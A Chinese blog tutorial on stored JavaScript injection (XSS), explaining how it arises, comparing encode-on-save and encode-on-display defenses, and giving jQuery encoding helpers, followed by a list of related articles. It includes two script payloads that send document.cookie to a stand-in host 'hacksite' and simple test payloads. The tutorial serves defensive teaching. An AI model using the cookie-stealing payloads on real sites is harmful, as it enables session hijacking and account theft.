JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
一个简单的JavaScript数据缓存系统实现代码
Oct 24 Javascript
jQuery插件原来如此简单 jQuery插件的机制及实战
Feb 07 Javascript
JavaScript重载函数实例剖析
May 13 Javascript
文本框只能输入数字的实现方法(兼容IE火狐)
Jun 25 Javascript
js中scrollTop()方法和scroll()方法用法示例
Oct 03 Javascript
Node.js批量给图片加水印的方法
Nov 15 Javascript
ES6学习教程之块级作用域详解
Oct 09 Javascript
详解利用Angular实现多团队模块化SPA开发框架
Nov 27 Javascript
vue移动端下拉刷新和上拉加载的实现代码
Sep 08 Javascript
手动下载Chrome并解决puppeteer无法使用问题
Nov 12 Javascript
element-ui 时间选择器限制范围的实现(随动)
Jan 09 Javascript
0基础学习前端开发的一些建议
Jul 14 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
杏林同学录(七)
2006/10/09 PHP
ThinkPHP的RBAC(基于角色权限控制)深入解析
2013/06/17 PHP
php获取301跳转URL简单实例
2013/12/16 PHP
根据ip调用新浪api获取城市名并转成拼音
2014/03/07 PHP
php 创建以UNIX时间戳命名的文件夹(示例代码)
2014/03/08 PHP
php使用ereg验证文件上传的方法
2014/12/16 PHP
php生成高清缩略图实例详解
2015/12/07 PHP
PHP实现生成推广海报的方法详解
2018/03/14 PHP
jquery实现的一个文章自定义分段显示功能
2014/05/23 Javascript
JS点击链接后慢慢展开隐藏着图片的方法
2015/02/17 Javascript
使用BootStrap实现悬浮窗口的效果
2016/12/13 Javascript
vue.js动态数据绑定学习笔记
2017/05/19 Javascript
ES6扩展运算符的用途实例详解
2017/08/20 Javascript
vue与TypeScript集成配置最简教程(推荐)
2017/10/17 Javascript
nodejs简单实现TCP服务器端和客户端的聊天功能示例
2018/01/04 NodeJs
js点击时关闭该范围下拉菜单之外的菜单方法
2018/01/11 Javascript
vue如何安装使用Quill富文本编辑器
2018/09/21 Javascript
vue 搭建后台系统模块化开发详解
2019/05/01 Javascript
react 原生实现头像滚动播放的示例
2020/04/21 Javascript
解决vscode进行vue格式化,会自动补分号和双引号的问题
2020/10/26 Javascript
Python 列表list使用介绍
2014/11/30 Python
Python的Django框架中设置日期和字段可选的方法
2015/07/17 Python
python如何对实例属性进行类型检查
2018/03/20 Python
python实现在图片上画特定大小角度矩形框
2018/10/24 Python
Python 元组拆包示例(Tuple Unpacking)
2019/12/24 Python
python 正则表达式参数替换实例详解
2020/01/17 Python
matplotlib教程——强大的python作图工具库
2020/10/15 Python
class类在python中获取金融数据的实例方法
2020/12/10 Python
HTML5重塑Web世界它将如何改变互联网
2012/12/17 HTML / CSS
香港唯港荟酒店预订:Hotel ICON
2018/03/27 全球购物
Ibatis的核心配置文件都有什么
2014/09/08 面试题
一年级数学教学反思
2014/02/01 职场文书
贸易跟单员英文求职信
2014/04/19 职场文书
祖国在我心中演讲稿200字
2014/08/28 职场文书
2015年度企业工作总结
2015/05/21 职场文书
如何使用vue3打造一个物料库
2021/05/08 Vue.js